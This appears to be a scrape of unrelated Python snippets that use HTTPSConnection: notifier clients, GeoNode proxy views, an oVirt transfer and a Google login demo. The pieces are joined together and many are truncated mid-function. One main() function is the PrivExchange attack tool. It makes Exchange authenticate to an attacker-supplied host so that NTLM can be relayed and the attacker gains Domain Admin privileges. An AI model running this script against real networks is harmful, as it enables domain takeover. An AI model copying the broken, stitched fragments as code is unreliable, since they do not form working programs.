def _sendPushbullet(self,
pushbullet_api=None,
pushbullet_device=None,
event=None,
message=None,
notificationType=None,
method=None,
force=False):
if not sickbeard.USE_PUSHBULLET and not force:
return False
if pushbullet_api == None:
pushbullet_api = sickbeard.PUSHBULLET_API
if pushbullet_device == None:
pushbullet_device = sickbeard.PUSHBULLET_DEVICE
if method == 'POST':
uri = '/api/pushes'
else:
uri = '/api/devices'
logger.log(u"Pushbullet event: " + str(event), logger.DEBUG)
logger.log(u"Pushbullet message: " + str(message), logger.DEBUG)
logger.log(u"Pushbullet api: " + str(pushbullet_api), logger.DEBUG)
logger.log(u"Pushbullet devices: " + str(pushbullet_device),
logger.DEBUG)
logger.log(u"Pushbullet notification type: " + str(notificationType),
logger.DEBUG)
http_handler = HTTPSConnection("api.pushbullet.com")
authString = base64.encodestring('%s:' % (pushbullet_api)).replace(
'\n', '')
if notificationType == None:
testMessage = True
try:
logger.log(
u"Testing Pushbullet authentication and retrieving the device list.",
logger.DEBUG)
http_handler.request(
method,
uri,
None,
headers={'Authorization': 'Basic %s:' % authString})
except (SSLError, HTTPException):
logger.log(u"Pushbullet notification failed.", logger.ERROR)
return False
else:
testMessage = False
try:
data = {
'title': event.encode('utf-8'),
'body': message.encode('utf-8'),
'device_iden': pushbullet_device,
'type': notificationType
}
http_handler.request(
method,
uri,
body=urlencode(data),
headers={'Authorization': 'Basic %s' % authString})
pass
except (SSLError, HTTPException):
return False
response = http_handler.getresponse()
request_body = response.read()
request_status = response.status
if request_status == 200:
if testMessage:
return request_body
else:
logger.log(u"Pushbullet notifications sent.", logger.DEBUG)
return True
elif request_status == 410:
logger.log(u"Pushbullet auth failed: %s" % response.reason,
logger.ERROR)
return False
else:
logger.log(u"Pushbullet notification failed.", logger.ERROR)
return False
srv.logging.warn(
"unable to extract fields or values, skipping: %s / %s: %s",
field_id, message, str(e))
return False
if build == "true":
srv.logging.debug(
"thingspeak content building. Update %s to '%s' stored for later submission.",
field_id, message.encode('utf-8'))
return True
data = {'api_key': apikey}
data.update(builddata)
builddata.clear()
http_handler = HTTPSConnection("api.thingspeak.com")
try:
http_handler.request(
"POST",
"/update",
headers={'Content-type': "application/x-www-form-urlencoded"},
body=urlencode(sorted(data.items())))
except (SSLError, HTTPException), e:
srv.logging.warn("Thingspeak update failed: %s" % str(e))
return False
response = http_handler.getresponse()
body = response.read()
if body == '0':
def open(self):
from httplib import HTTPSConnection
connection = HTTPSConnection('www.yammer.com')
return connection
def do_github_get_req(path, auth=None, site='api.github.com'):
headers = get_bloom_headers(auth)
conn = HTTPSConnection(site)
conn.request('GET', path, '', headers)
return conn.getresponse()
def do_github_post_req(path, data, auth=None, site='api.github.com'):
headers = get_bloom_headers(auth)
conn = HTTPSConnection(site)
conn.request('POST', path, json.dumps(data), headers)
return conn.getresponse()
from httplib import HTTPSConnection
import json
if __name__ == "__main__":
connection = HTTPSConnection("www.httpbin.org")
connection.connect()
headers = {'Content-type': 'application/json'}
foo = {'text': 'Hello HTTP #1 **cool**, and #1!'}
payload = json.dumps(foo)
connection.request('POST', "/post", body=payload, headers=headers)
response = connection.getresponse()
print(response.read().decode())
def proxy(request):
PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
host = None
if 'geonode.geoserver' in settings.INSTALLED_APPS:
from geonode.geoserver.helpers import ogc_server_settings
hostname = (
ogc_server_settings.hostname, ) if ogc_server_settings else ()
PROXY_ALLOWED_HOSTS += hostname
host = ogc_server_settings.netloc
if 'url' not in request.GET:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain")
raw_url = request.GET['url']
url = urlsplit(raw_url)
locator = str(url.path)
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
if not settings.DEBUG:
if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
return HttpResponse(
"DEBUG is set to False but the host of the path provided to the proxy service"
" is not in the PROXY_ALLOWED_HOSTS setting.",
status=403,
content_type="text/plain")
headers = {}
if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
url=raw_url, host=host):
headers["Cookie"] = request.META["HTTP_COOKIE"]
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
conn.request(request.method, locator, request.body, headers)
result = conn.getresponse()
# If we get a redirect, let's add a useful message.
if result.status in (301, 302, 303, 307):
response = HttpResponse(
('This proxy does not support redirects. The server in "%s" '
'asked for a redirect to "%s"' %
(url, result.getheader('Location'))),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain"))
response['Location'] = result.getheader('Location')
else:
response = HttpResponse(result.read(),
status=result.status,
content_type=result.getheader(
"Content-Type", "text/plain"))
return response
def create_https_connection(host,
port=HTTPSConnection.default_port,
cafile=None,
client_certfile=None,
client_keyfile=None,
keyfile_passwd=None,
tls_version_min="tls1.1",
tls_version_max="tls1.2",
**kwargs):
"""
Create a customized HTTPSConnection object.
:param host: The host to connect to
:param port: The port to connect to, defaults to
HTTPSConnection.default_port
:param cafile: A PEM-format file containning the trusted
CA certificates
:param client_certfile:
A PEM-format client certificate file that will be used to
identificate the user to the server.
:param client_keyfile:
A file with the client private key. If this argument is not
supplied, the key will be sought in client_certfile.
:param keyfile_passwd:
A path to the file which stores the password that is used to
encrypt client_keyfile. Leave default value if the keyfile
is not encrypted.
:returns An established HTTPS connection to host:port
"""
# pylint: disable=no-member
tls_cutoff_map = {
"ssl2": ssl.OP_NO_SSLv2,
"ssl3": ssl.OP_NO_SSLv3,
"tls1.0": ssl.OP_NO_TLSv1,
"tls1.1": ssl.OP_NO_TLSv1_1,
"tls1.2": ssl.OP_NO_TLSv1_2,
}
# pylint: enable=no-member
if cafile is None:
raise RuntimeError("cafile argument is required to perform server "
"certificate verification")
if not os.path.isfile(cafile) or not os.access(cafile, os.R_OK):
raise RuntimeError(
"cafile \'{file}\' doesn't exist or is unreadable".format(
file=cafile))
# remove the slice of negating protocol options according to options
tls_span = get_proper_tls_version_span(tls_version_min, tls_version_max)
# official Python documentation states that the best option to get
# TLSv1 and later is to setup SSLContext with PROTOCOL_SSLv23
# and then negate the insecure SSLv2 and SSLv3
# pylint: disable=no-member
ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ctx.options |= (ssl.OP_ALL | ssl.OP_NO_COMPRESSION | ssl.OP_SINGLE_DH_USE
| ssl.OP_SINGLE_ECDH_USE)
# high ciphers without RC4, MD5, TripleDES, pre-shared key and secure
# remote password. Uses system crypto policies on some platforms.
ctx.set_ciphers(constants.TLS_HIGH_CIPHERS)
# pylint: enable=no-member
# set up the correct TLS version flags for the SSL context
for version in TLS_VERSIONS:
if version in tls_span:
# make sure the required TLS versions are available if Python
# decides to modify the default TLS flags
ctx.options &= ~tls_cutoff_map[version]
else:
# disable all TLS versions not in tls_span
ctx.options |= tls_cutoff_map[version]
ctx.verify_mode = ssl.CERT_REQUIRED
ctx.check_hostname = True
ctx.load_verify_locations(cafile)
if client_certfile is not None:
if keyfile_passwd is not None:
with open(keyfile_passwd) as pwd_f:
passwd = pwd_f.read()
else:
passwd = None
ctx.load_cert_chain(client_certfile, client_keyfile, passwd)
return HTTPSConnection(host, port, context=ctx, **kwargs)
def _build(self):
if self._proto == 'https':
return HTTPSConnection(self._host)
else:
return HTTPConnection(self._host)
def proxy(request):
PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
hostname = (ogc_server_settings.hostname, ) if ogc_server_settings else ()
PROXY_ALLOWED_HOSTS += hostname
if 'url' not in request.GET:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain")
raw_url = request.GET['url']
url = urlsplit(raw_url)
locator = url.path
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
if not settings.DEBUG:
if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
return HttpResponse(
"DEBUG is set to False but the host of the path provided "
"to the proxy service is not in the "
"PROXY_ALLOWED_HOSTS setting.",
status=403,
content_type="text/plain")
headers = {}
if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
url=raw_url, host=ogc_server_settings.netloc):
headers["Cookie"] = request.META["HTTP_COOKIE"]
if request.META.get('HTTP_AUTHORIZATION'):
headers['AUTHORIZATION'] = request.META.get('HTTP_AUTHORIZATION')
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
if request.META.get('HTTP_ACCEPT'):
headers['ACCEPT'] = request.META['HTTP_ACCEPT']
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
conn.request(request.method, locator, request.body, headers)
result = conn.getresponse()
response = HttpResponse(
result.read(),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain"),
)
if result.getheader('www-authenticate'):
response['www-authenticate'] = "GeoNode"
return response
def transfer(connection, module, direction, transfer_func):
transfers_service = connection.system_service().image_transfers_service()
transfer = transfers_service.add(
otypes.ImageTransfer(
image=otypes.Image(
id=module.params['id'],
),
direction=direction,
)
)
transfer_service = transfers_service.image_transfer_service(transfer.id)
try:
# After adding a new transfer for the disk, the transfer's status will be INITIALIZING.
# Wait until the init phase is over. The actual transfer can start when its status is "Transferring".
while transfer.phase == otypes.ImageTransferPhase.INITIALIZING:
time.sleep(module.params['poll_interval'])
transfer = transfer_service.get()
proxy_url = urlparse(transfer.proxy_url)
context = ssl.create_default_context()
auth = module.params['auth']
if auth.get('insecure'):
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
elif auth.get('ca_file'):
context.load_verify_locations(cafile=auth.get('ca_file'))
proxy_connection = HTTPSConnection(
proxy_url.hostname,
proxy_url.port,
context=context,
)
transfer_func(
transfer_service,
proxy_connection,
proxy_url,
transfer.signed_ticket
)
return True
finally:
transfer_service.finalize()
while transfer.phase in [
otypes.ImageTransferPhase.TRANSFERRING,
otypes.ImageTransferPhase.FINALIZING_SUCCESS,
]:
time.sleep(module.params['poll_interval'])
transfer = transfer_service.get()
if transfer.phase in [
otypes.ImageTransferPhase.UNKNOWN,
otypes.ImageTransferPhase.FINISHED_FAILURE,
otypes.ImageTransferPhase.FINALIZING_FAILURE,
otypes.ImageTransferPhase.CANCELLED,
]:
raise Exception(
"Error occurred while uploading image. The transfer is in %s" % transfer.phase
)
if module.params.get('logical_unit'):
disks_service = connection.system_service().disks_service()
wait(
service=disks_service.service(module.params['id']),
condition=lambda d: d.status == otypes.DiskStatus.OK,
wait=module.params['wait'],
timeout=module.params['timeout'],
)
def main():
parser = argparse.ArgumentParser(
description=
'Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx'
)
parser.add_argument("host",
type=str,
metavar='HOSTNAME',
help="Hostname/ip of the Exchange server")
parser.add_argument("-u",
"--user",
metavar='USERNAME',
help="username for authentication")
parser.add_argument(
"-d",
"--domain",
metavar='DOMAIN',
help="domain the user is in (FQDN or NETBIOS domain name)")
parser.add_argument(
"-p",
"--password",
metavar='PASSWORD',
help=
"Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied"
)
parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
parser.add_argument("--no-ssl",
action='store_true',
help="Don't use HTTPS (connects on port 80)")
parser.add_argument("--exchange-port",
help="Alternative EWS port (default: 443 or 80)")
parser.add_argument("-ah",
"--attacker-host",
required=True,
help="Attacker hostname or IP")
parser.add_argument(
"-ap",
"--attacker-port",
default=80,
help="Port on which the relay attack runs (default: 80)")
parser.add_argument(
"--attacker-page",
default="/privexchange/",
help="Page to request on attacker server (default: /privexchange/)")
parser.add_argument("--debug",
action='store_true',
help='Enable debug output')
args = parser.parse_args()
ews_url = "/EWS/Exchange.asmx"
# Init logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
stream = logging.StreamHandler(sys.stderr)
stream.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(levelname)s: %(message)s')
stream.setFormatter(formatter)
logger.addHandler(stream)
# Should we log debug stuff?
if args.debug is True:
logger.setLevel(logging.DEBUG)
if args.password is None and args.hashes is None:
args.password = getpass.getpass()
# Init connection
if not args.no_ssl:
# HTTPS = default
port = 443
if args.exchange_port:
port = int(args.exchange_port)
try:
uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
session = HTTPSConnection(args.host, port, context=uv_context)
except AttributeError:
session = HTTPSConnection(args.host, port)
else:
# Otherwise: HTTP
port = 80
if args.exchange_port:
port = int(args.exchange_port)
session = HTTPConnection(args.host, port)
# Construct attacker url
if args.attacker_port != 80:
attacker_url = 'http://%s:%d%s' % (
args.attacker_host, int(args.attacker_port), args.attacker_page)
else:
attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page)
logging.info('Using attacker URL: %s', attacker_url)
# Use impacket for NTLM
ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)
#Negotiate auth
negotiate = base64.b64encode(ntlm_nego.getData())
# Headers
# Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
headers = {
"Authorization": 'NTLM %s' % negotiate,
"Content-type": "text/xml; charset=utf-8",
"Accept": "text/xml",
"User-Agent": "ExchangeServicesClient/0.0.0.0",
"Translate": "F"
}
session.request("POST", ews_url, POST_BODY % attacker_url, headers)
res = session.getresponse()
res.read()
# Copied from ntlmrelayx httpclient.py
if res.status != 401:
logging.info(
'Status code returned: %d. Authentication does not seem required for URL',
res.status)
try:
if 'NTLM' not in res.getheader('WWW-Authenticate'):
logging.error(
'NTLM Auth not offered by URL, offered protocols: %s',
res.getheader('WWW-Authenticate'))
return False
except (KeyError, TypeError):
logging.error('No authentication requested by the server for url %s',
ews_url)
return False
logging.debug('Got 401, performing NTLM authentication')
# Get negotiate data
try:
ntlm_challenge_b64 = re.search(
'NTLM ([a-zA-Z0-9+/]+={0,2})',
res.getheader('WWW-Authenticate')).group(1)
ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
except (IndexError, KeyError, AttributeError):
logging.error('No NTLM challenge returned from server')
return
if args.hashes:
lm_hash_h, nt_hash_h = args.hashes.split(':')
# Convert to binary format
lm_hash = binascii.unhexlify(lm_hash_h)
nt_hash = binascii.unhexlify(nt_hash_h)
args.password = ''
else:
nt_hash = ''
lm_hash = ''
ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user,
args.password, args.domain, lm_hash,
nt_hash)
auth = base64.b64encode(ntlm_auth.getData())
headers = {
"Authorization": 'NTLM %s' % auth,
"Content-type": "text/xml; charset=utf-8",
"Accept": "text/xml",
"User-Agent": "ExchangeServicesClient/0.0.0.0",
"Translate": "F"
}
session.request("POST", ews_url, POST_BODY % attacker_url, headers)
res = session.getresponse()
logging.debug('HTTP status: %d', res.status)
body = res.read()
logging.debug('Body returned: %s', body)
if res.status == 200:
logging.info(
'Exchange returned HTTP status 200 - authentication was OK')
# Parse XML with ElementTree
root = ET.fromstring(body)
code = None
for response in root.iter(
'{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'
):
code = response.text
if not code:
logging.error('Could not find response code element in body: %s',
body)
return
if code == 'NoError':
logging.info('API call was successful')
elif code == 'ErrorMissingEmailAddress':
logging.error(
'The user you authenticated with does not have a mailbox associated. Try a different user.'
)
else:
logging.error('Unknown error %s', code)
for errmsg in root.iter(
'{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'
):
logging.error('Server returned: %s', errmsg.text)
elif res.status == 401:
logging.error(
'Server returned HTTP status 401 - authentication failed')
else:
logging.error('Server returned HTTP %d: %s', res.status, body)
def post_benchmark(benchmark):
conn = HTTPSConnection(host)
conn.request("POST", "/preflop/6/benchmark", json.dumps(benchmark))
conn.close()
def proxy(request,
url=None,
response_callback=None,
sec_chk_hosts=True,
sec_chk_rules=True,
**kwargs):
# Security rules and settings
PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
# Sanity url checks
if 'url' not in request.GET and not url:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain")
raw_url = url or request.GET['url']
raw_url = urljoin(settings.SITEURL,
raw_url) if raw_url.startswith("/") else raw_url
url = urlsplit(raw_url)
locator = str(url.path)
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
# White-Black Listing Hosts
if sec_chk_hosts and not settings.DEBUG:
site_url = urlsplit(settings.SITEURL)
if site_url.hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += (site_url.hostname, )
if check_ogc_backend(geoserver.BACKEND_PACKAGE):
from geonode.geoserver.helpers import ogc_server_settings
hostname = (
ogc_server_settings.hostname, ) if ogc_server_settings else ()
if hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += hostname
if url.query and ows_regexp.match(url.query):
ows_tokens = ows_regexp.match(url.query).groups()
if len(
ows_tokens
) == 4 and 'version' == ows_tokens[0] and StrictVersion(
ows_tokens[1]) >= StrictVersion("1.0.0") and StrictVersion(
ows_tokens[1]
) <= StrictVersion("3.0.0") and ows_tokens[2].lower() in (
'getcapabilities') and ows_tokens[3].upper() in (
'OWS', 'WCS', 'WFS', 'WMS', 'WPS', 'CSW'):
if url.hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += (url.hostname, )
if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
return HttpResponse(
"DEBUG is set to False but the host of the path provided to the proxy service"
" is not in the PROXY_ALLOWED_HOSTS setting.",
status=403,
content_type="text/plain")
# Security checks based on rules; allow only specific requests
if sec_chk_rules:
# TODO: Not yet implemented
pass
# Collecting headers and cookies
headers = {}
cookies = None
csrftoken = None
if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
url=raw_url, host=url.hostname):
cookies = request.META["HTTP_COOKIE"]
for cook in request.COOKIES:
name = str(cook)
value = request.COOKIES.get(name)
if name == 'csrftoken':
csrftoken = value
cook = "%s=%s" % (name, value)
cookies = cook if not cookies else (cookies + '; ' + cook)
csrftoken = get_token(request) if not csrftoken else csrftoken
if csrftoken:
headers['X-Requested-With'] = "XMLHttpRequest"
headers['X-CSRFToken'] = csrftoken
cook = "%s=%s" % ('csrftoken', csrftoken)
cookies = cook if not cookies else (cookies + '; ' + cook)
if cookies:
if 'JSESSIONID' in request.session and request.session['JSESSIONID']:
cookies = cookies + '; JSESSIONID=' + \
request.session['JSESSIONID']
headers['Cookie'] = cookies
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
access_token = None
# we give precedence to obtained from Aithorization headers
if 'HTTP_AUTHORIZATION' in request.META:
auth_header = request.META.get('HTTP_AUTHORIZATION',
request.META.get('HTTP_AUTHORIZATION2'))
if auth_header:
access_token = get_token_from_auth_header(auth_header)
# otherwise we check if a session is active
elif request and request.user.is_authenticated:
access_token = get_token_object_from_session(request.session)
# we extend the token in case the session is active but the token expired
if access_token and access_token.is_expired():
extend_token(access_token)
if access_token:
headers['Authorization'] = 'Bearer %s' % access_token
site_url = urlsplit(settings.SITEURL)
pragma = "no-cache"
referer = request.META[
"HTTP_REFERER"] if "HTTP_REFERER" in request.META else \
"{scheme}://{netloc}/".format(scheme=site_url.scheme,
netloc=site_url.netloc)
encoding = request.META[
"HTTP_ACCEPT_ENCODING"] if "HTTP_ACCEPT_ENCODING" in request.META else "gzip"
headers.update({
"Pragma": pragma,
"Referer": referer,
"Accept-encoding": encoding,
})
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
parsed = urlparse(raw_url)
parsed._replace(path=locator.encode('utf8'))
_url = parsed.geturl()
if request.method == "GET" and access_token and 'access_token' not in _url:
query_separator = '&' if '?' in _url else '?'
_url = ('%s%saccess_token=%s' % (_url, query_separator, access_token))
conn.request(request.method, _url, request.body, headers)
response = conn.getresponse()
content = response.read()
status = response.status
content_type = response.getheader("Content-Type", "text/plain")
# decompress GZipped responses if not enabled
if content and response.getheader('Content-Encoding') == 'gzip':
from StringIO import StringIO
import gzip
buf = StringIO(content)
f = gzip.GzipFile(fileobj=buf)
content = f.read()
if response_callback:
kwargs = {} if not kwargs else kwargs
kwargs.update({
'response': response,
'content': content,
'status': status,
'content_type': content_type
})
return response_callback(**kwargs)
else:
# If we get a redirect, let's add a useful message.
if status in (301, 302, 303, 307):
_response = HttpResponse(
('This proxy does not support redirects. The server in "%s" '
'asked for a redirect to "%s"' %
(url, response.getheader('Location'))),
status=status,
content_type=content_type)
_response['Location'] = response.getheader('Location')
return _response
else:
return HttpResponse(content=content,
status=status,
content_type=content_type)
args.password = getpass("Password: ")
access_token = None
# Since documentation on how to work with Google tokens
# can be difficult to find, we'll demo a basic version
# here. Note that responses could refer to a Captcha
# URL that would require a browser.
# Using Facebook or MSN's custom authentication requires
# a browser, but the process is the same once a token
# has been retrieved.
# Request an access token from Google:
try:
conn = HTTPSConnection('www.google.com')
except:
print('Could not connect to Google')
sys.exit()
params = urlencode({
'accountType': 'GOOGLE',
'service': 'mail',
'Email': JID(args.jid).bare,
'Passwd': args.password
})
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
try:
conn.request('POST', '/accounts/ClientLogin', params, headers)
resp = conn.getresponse().read()
data = {}
def fetch_response(self, request):
"""Executes request and fetchs service response"""
connection = HTTPSConnection(self.SERVER_URL)
connection.request(request.method.upper(), request.to_url())
return connection.getresponse().read()
